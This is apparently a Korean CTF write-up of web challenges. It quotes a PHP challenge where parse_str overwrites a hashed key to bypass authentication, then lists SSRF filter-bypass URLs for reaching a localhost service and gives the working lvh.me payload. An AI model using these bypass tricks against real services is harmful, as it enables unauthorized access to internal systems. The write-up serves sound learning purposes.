EasyPHP
문제에서 소스를 제공해준다. 간단한 PHP Trick류다.
<?php
$hashed_key = '79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}
if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
//echo $hashed_input.'\n';
if($hashed_input!==$hashed_key){
die("GTFO!");
}
echo file_get_contents("/flag");
}
}else{
show_source(__FILE__);
}
?>
인풋의 sha256값이 79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff 값이어야 하는데 해당 값은 레인보우 테이블에서 조회되지 않는 값이라 원본 값을 모른다.
근데 딱봐도 수상한게 action파라미터 값 받아올 때 $_GET['action'] 일케 안받고 parse_str쓰고 있다. parse_str은 변수를 덮을 수 있어서 그냥 hashed_key를 덮어버리면 된다.
payload
Online Previewer 1
SSRF 문제다. 소스에서 http://127.0.0.1:1337로 접근하라고 하는데 필터가 되어있다.
http://asdf@127.0.0.1:1337
http://asdf#@127.0.0.1:1337
http://asdf?@127.0.0.1:1337
http://2130706433:1337/
http://0177.0.0.1:1337/
http://localhost:1337/
http://my_server/test.php
test.php
<?php
header('Location: http://127.0.0.1:1337');
?>
..등등
요런거 다 안먹혀서 localhost말고 127.0.0.1 반환해주는 도메인을 사용했다.
payload
http://lvh.me:1337
ImgAccess
'CTF > Writeup' 카테고리의 다른 글
angstrom ctf 2019 Web Write up (0) | 2019.04.25 |
---|---|
ASIS CTF 2019 Fort Knox (0) | 2019.04.22 |
Midnight Sun CTF 2019 Quals Rubenscube (0) | 2019.04.08 |
CBM CTF 2019 Writeup (0) | 2019.04.08 |
Midnightsun CTF 2019 Marcodowno (0) | 2019.04.07 |